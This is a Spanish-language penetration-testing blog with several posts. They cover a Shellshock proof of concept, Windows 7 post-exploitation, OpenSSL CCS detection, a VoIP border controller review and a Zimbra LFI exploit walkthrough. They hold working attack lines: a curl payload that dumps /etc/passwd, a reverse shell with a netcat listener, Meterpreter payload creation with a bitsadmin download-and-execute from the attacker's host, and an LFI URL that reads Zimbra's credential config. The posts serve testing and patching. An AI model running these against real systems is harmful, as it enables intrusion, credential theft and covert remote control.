Skip to content

Proof Of Concept CVE-2014-6271 Remote exploit vulnerability in bash

Shellshock

Una vulnerabilidad explotable de forma remota  ha sido descubierta el dia de ayer (2014-09-24), esta afecta específicamente a bash en Linux. La vulnerabilidad ha sido identificada por  CVE CVE-2014-6271 , también se le ha dado el seudonimo de A.K.A.  Shellshock

Esta vulnerabilidad afecta a casi todas  distribuciones de Linux:

Red Hat Enterprise Linux (versiones 4 a 7) y la distribución Fedora
CentOS (versiones 5 a 7)
Ubuntu 10.04 LTS, 12.04 LTS y 14.04 LTS
Debian

En esta caso vamos a desarrollar una prueba de concepto P.O.C. con un entorno Linux Centos 5.9

 

1.- Verificar la configuración de CGI por Apache

#vim /etc/httpd/conf/httpd.conf

Shellshock

2.- Agregar nuestro CGI POC Vulnerable

#vim /var/www/cgi-bin/test.cgi

Shellshock

3.- Verificar que el CGI funciona

Ingresamos a la URL :  http://192.168.88.226/cgi-bin/test.cgi

 

 

Shellshock

4.- Ahora vamos a explotar la vulnerabilidad desde un Kali Linux

POC Nro 1 :  Volcando Passwd del servidor remoto

#curl -A “() { foo;};echo;/bin/cat /etc/passwd” http://192.168.88.226/cgi-bin/test.cgi

 

Shellshock

POC Nro 2 : Generando un shell reverso

Para esto he escrito un pequeño script en bash :D  publicado aquí  : http://pastebin.com/0BQRb1D2

Paso 1 : Abrimos nuestro puerto a la escucha con Netcat (#nc -lp 8080 -vvv)

shelllock

Paso 2: ejecutamos el script de la siguiente forma :  #./little-shellshock-reverse.sh localhostIP attackhostIP

shellshock

 

Volvemos a la terminal donde tenemos a la escucha el puerto con Netcat y veremos que se ha generado nuestra shell reversa

shelllock

 

PARCHES Y VECTORES

- Se recomienda desactivar cualquier script CGI

- Es posible que tambien se pueda user como vector el servicio DHCP como se muestra aquí :

https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/

- Realizar la actualización urgente ,

Centos y derivados : #yum update -y bash.

Debian y Ubuntu :  #sudo apt-get update && sudo apt-get install –only-upgrade bash

 

 

 

 

 

Post Explotación de Windows 7 con BITSADMIN

bitsadmin_example

Durante la parte de post-explotación de un sistema operativo como Windows 7 , es muy importante poder preservar el control , para ello es necesario descargar y ejecutar nuestros shell reversos, y evidentemente tiene que pasar desapercibido.

Para esto en Windows 7 encontramos BITS “Servicio de transferencia inteligente en segundo plano de Microsoft”. Se utiliza para transferir archivos, entre otras cosas.

Planteemos este escenario:

Contamos con una consola de DOS en Windows 7 , obtenida de alguna forma, (con netcat por ejemplo) sin embargo una consola DOS, muchas veces es muy limitada, ya que necesitamos ejecutar comandos mas complejos, entonces nos ponemos a trabajar para tener nuevamente una sesión de Meterpreter, apoyándonos en BITS , de la siguiente forma:

En Kali Linux creamos un Payload con Metasploit donde la IP 10.10.88.236 es la IP de Kali

#msfpayload windows/meterpreter/reverse_tcp lhost=10.10.88.236 lport=1234 X > /var/www/shell.exe

Ahora abriremos el handler de Metasploit

msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp lhost=10.10.88.236 lport=1234 E

En la consola de Windows que tenemos, descargaremos el shell.exe de la maquina Kali Linux

C:\Windows\system32> cd Users
C:\Windows\system32> cd ecornejo
C:\Windows\system32> cd Destktop

C:\Windows\system32> bitsadmin /create proceso1
C:\Windows\system32> bitsadmin /addfile proceso1 http://10.10.88.236/shell.exe  c:\Users\ecornejo\Desktop\shell.exe
C:\Windows\system32> bitsadmin /resume proceso1
C:\Windows\system32> bitsadmin /complete proceso1

Con esto realizado, tendremos nuestro shell.exe en el escritorio del usuario , ahora lo ejecutaremos

C:\Windows\system32> cd c:\Users\ecornejo\Desktop
C:\Windows\system32> shell.exe

Si todo salio bien tendremos una sesión de Meterpreter activa y lista para volver a tomar el control

meterpreter > getuid
meterpreter > getsystem

Nota: Es evidente que no es la única forma , también esta el hecho de que un antivirus puede detectar nuestro exe, sin embargo para eso también existen otros mecanismos , espero les sirva.

Referencias:
http://technet.microsoft.com/en-us/magazine/ff382721.aspx

http://msdn.microsoft.com/en-us/library/aa362813%28v=vs.85%29.aspx

Probando la detección de la vulnerabilidad OpenSSL CCS Injection Attack (CVE-2014-0224)

openssl

 

Para los que nos dedicamos a realizar proyectos de Ethical Hacking , es bastante común usar algún software de análisis de vulnerabilidades , en mi caso, mi preferido es Nessus , sin embargo como cualquier software automatizado, este puede generar a lo que se denomina falsos positivos, es por ello que la labor del pentester es poder validar cada una de las vulnerabilidades que la herramienta nos reporta.

Dicho esto, entremos al tema, desde la aparición de Heartbleed este año, muchas marcas, fabricantes, desarrollos independientes, aplicaron y en algunos casos sacaron en un corto plazo las actualizaciones emitidas recomendadas por Openssl y reportadas en el CVE-2014-0160 , la cual se explota de la siguiente forma :

 

Han pasado varios meses,  y lo que ha pasado desapercibido, es que existen nuevas vulnerabilidades descubiertas a partir de ello, llamémoslas “variantes” como las reportadas , CVE-2014-0224 , CVE-2010-5298 , CVE-2014-0076 , CVE-2014-0195 , CVE-2014-0198 , CVE-2014-0221 , CVE-2014-3470 ,  cada una un poco diferente que la otra pero todas involucradas con Openssl.

El hecho es que durante mis últimos proyectos de pentesing , he estado encontrando de manera muy recurrente en la vulnerabilidad , que Nessus reporta como “OpenSSL ‘ChangeCpherSpec’ MiTM”

openssl

Luego del bonito reporte de Nessus , viene la hora de hacer el trabajo real y realizar la prueba manual, así que tome la vulnerabilidad CVE-2014-0224 y me puse a investigar si existía una prueba de concepto.

Encontré mucha información teórica en donde indica que la vulnerabilidad, sin entrar mucho en detalle. radica en que al enviar un paquete CSS o “ChangeCipherSpec” antes de iniciar la session SSL o intercambio de llaves SSL (handshake) la llave que se genera, es una llave débil y puede ser fácil de adivinar, por tanto susceptible a ataques de hombre en el medio.

Hay muchas entradas de blog , documentación y discusiones sobre esto, pero aquí me gustaría enfocarme en la forma de detectar la vuln, en la implementación OpenSSL.

Encontré dos formas de probar la detección ,  una vía un script para NMAP publicada aquí : https://gist.github.com/rcvalle

Y otra un script desarrollado por Craig Young la cual es un script en python que permite la detección de la vulnerabilidad CVE-2014-0224. La cual es posible descargar desde aquí: https://github.com/Tripwire/OpenSSL-CCS-Inject-Test

El funcionamiento es muy sencillo , básicamente es ejecutarlo de la siguiente forma :

#python OSSL_CCS_InjectTest2.py  nombrededominio

 

Script por defecto viene para validar servicios en HTTPS (443) como es normal , sin embargo sabemos que existen implementaciones de SSL en otros servicios como POPS , IMAPS , FTPS  por citar ejemploS, así que haciendo unas modificaciones , para el puerto 995 , quedaria de la siguiente forma:

 

openssl

Una vez modificado , si el resultado es positivo , tendremos lo siguiente :

 

openssl

 

Como vemos la herramienta nos muestra que el objetivo es vulnerable , en TLS1 y SSLv3, Para solucionar esto es recomendable realizar las siguientes actualización dependiendo la versión de OpenSSL

OpenSSL 0.9.8 SSL/TLS actualizar a 0.9.8za.
OpenSSL 1.0.0 SSL/TLS actualizar a 1.0.0m.
OpenSSL 1.0.1 SSL/TLS actualizar a 1.0.1h.

Es claro que no todo se ha acabado con Heartbleed y su parche , así que será necesario estar atento a lo nuevo que se viene alrededor de Openssl.

Eso es todo, espero les sirva

Juan Oliva

 

 

Sangoma Session Border Controller

sbc-critical-component

 

Un Session border controller  o “SBC” , es un concepto de seguridad que desde hace unos años se ha venido escuchando con mas fuerza, sobre todo por lo duro y aveces casi inviable, el poder trabajar con Firewalls perimetrales y a la vez brindar seguridad completa a una plataforma de VoIP.

 

Por tanto la posibilidad, de tener un elemento o entidad única de seguridad especializada en VoIP y que de cara a internet, para garantizar en gran medida, protección de ataques externos, es muy importante de considerar.

 

Luego que los amigos de Sangoma presentarán en la sociedad Elastix , su desarrollo de SBC , me dio mucha curiosidad probarlo y validarlo.

 

Después de obtener una licencia para realizar las pruebas (Gracias Ernesto Casas @ecasas :D ) procedí a instalarlo y me di con la sorpresa con un producto bastante amplio con muchas posibilidades.

 

sbc

 

 Luego, realicé una implementación la cual es explicada en los manuales como “Sip Trunking” (http://wiki.sangoma.com/NSC-SIP-Trunking-Setup) La cual no es mas que poner el SBC delante de un PBX Elastix en este caso , que tiene una troncal SIP contra un proveedor de VoIP, como se muestra a continuación:

 

elastix-sbc

 

Luego de lograr la integración (llamadas entrantes y salientes) me puse a “probar” la seguridad que brinda el mismo, realicé algunos ataques convencionales y conocidos para ver como reaccionaba el SBC y efectivamente bloquea los ataques, como se muestra a continuación.

 

Selection_573

 

Sin lugar a dudas un SBC es un elemento que va ayudar mucho a salva guardar una infraestructura de VoIP/Telefonía IP , en este caso Sangoma con su SBC ha hecho un gran trabajo en este producto, muestra innumerables opciones y posibilidades de aseguramiento.

 

Sin embargo como cualquier elemento de seguridad ya existente, mucho dependerá, como se configure y se afine, para poder realizar su trabajo eficientemente y evitar fraudes y hackeos a la plataforma.

 

Si desean más información

 

Modelos y características : http://www.sangoma.com/session-border-controllers/

Wiki : http://wiki.sangoma.com/NetBorder-Session-Controller

 

Espero les sirva
Juan Oliva

Publicado mi Paper : Seguridad en Implementaciones de Voz Sobre IP

Un paper con una vista general acerca de la seguridad VoIP actualmente y prácticas recomendadas.

sivoipi

La semana anterior Elastix lanzó un paper general sobre seguridad relacionado con Implementaciones en VoIP.

Este trabajo se realizó en conjunto con Juan Oliva como autor principal del documento y Paul Estrella como Editor asociado. En el lanzamiento se incluyó una versión al Inglés que fue traducida por Elvita Crespo, actual Channel Manager de Elastix.

El objetivo del documento es el de generar información de primera mano que permita a integradores apoyar trabajos relacionados con la estimación de un proyecto de telefonía IP bajo la óptica de incluir componentes de seguridad en el mismo.

El trabajo permite además hacer una introducción básica y sencilla sobre potenciales amenazas a personas con poco conocimiento sobre el tema.

De esta forma, Elastix, Juan Oliva y compañía, buscan iniciar una serie de aportes que permitan a usuarios de tecnología, integradores y desarrolladores, promover políticas de seguridad en implementaciones VoIP y otras relacionadas.

El documento puede ser descargado en los siguientes enlaces:

Español – Seguridad en Implementaciones de Voz Sobre IP

Ingles – Security in Voice Over IP (VoIP) Implementations

Usted puede revisar más material sobre VoIP, Telefonía IP y Elastix en Manuales y Libros Elastix

 

Versión original : http://opendireito.com/2014/04/14/seguridad-en-implementaciones-de-voz-sobre-ip/

 

 

 

Probamos lo que en teoría…. protegemos ???

seguridad-linux

Muchas veces veo configuraciones que en teoría, deberían proteger una plataforma o servicios, sin embargo el común denominador es que no prueban si realmente, la herramienta o el servicio que configuraron, para proteger esta haciendo su trabajo.

A continuación les dejo un par de “demos” que mostré el año pasado en el “Encuentro Internacional de Software Libre” desarrollado en Quito-Ecuador

minga

Donde mostraba en  mi charla “Implementando seguridad en plataformas de software Libre Elastix” algunos mecanismos para probar si realmente las configuraciones de seguridad funcionan, y que realmente una plataforma puede ser muy robusta , y es que la realidad de la cosas es que “todo depende del profesional que las implemente”

Protegiendo el servicio SSH ante ataques de password craking con Fail2ban ssh

Protegiendo Asterisk ante ataques SIP con Fail2ban

Espero les sirva la info
Saludos
Juan Oliva

Explotando Vulnerabilidad en Zimbra

zimbra

Después del alboroto de las fiestas de fin de año, volvemos al ruedo, el pasado diciembre 2013 , fue reportada una vulnerabilidad y publicado su respectivo exploit  , en Zimbra para las versiones 8.0.2 y 7.2.2, el exploit ataca un vector LFI .

Exploit : http://www.exploit-db.com/exploits/30085/

Vector LFI : https://mail.dominio.com/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml

A través de este vector, es posible creación de un usuario administrativo en la plataforma, es decir es posible tomar el control del servidor de correo Zimbra, para leer buzones, crear nuevas cuentas,  y si ya se …  Spamm free !!

Es posible explotar la vulnerabilidad remotamente , si la interfase administrativa de Zimbra (puerto 7071) esta abierta.

A continuación veremos como probar si nuestro Zimbra es vulnerable.

1.- Descargar y configurar el exploit
Para esto utilizaremos kali Linux como sistema operativo base ya que el exploit esta escrito en ruby y en este caso Kali , tiene todas las librerías de Rubi instaladas.

zimbra

2.- Ejecutar el exploit
Si el exploit se ejecuta correctamente, tendremos un resultado como el siguiente:

zimbra

Al parecer nuestro exploit se ejecuta correctamente, ahora ingresaremos con las credenciales creadas

3.- Ingresando como administrador en Zimbra

Ingresamos con el usuario que creamos con en el exploit

zimbra

Y como vemos podemos ingresar como Administradores en Zimbra

zimbra

Ojo versiones de Zimbra con este aspecto también son vulnerables:

zimbra

4.- Parchando

Afortunadamente los desarrolladores de Zimbra han publicado los parches para esta vulnerabilidad

http://www.zimbra.com/forums/announcements/67236-security-guidance-reported-0day-exploit.html

Así que a parchar se ha dicho señores , Feliz 2014 !!

Descargo de responsabilidad: El presente post es una prueba de concepto, hecho con objetivos netamente de defensa y protección, es responsabilidad del lector el uso de este conocimiento.

Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

Únete a otros 100 seguidores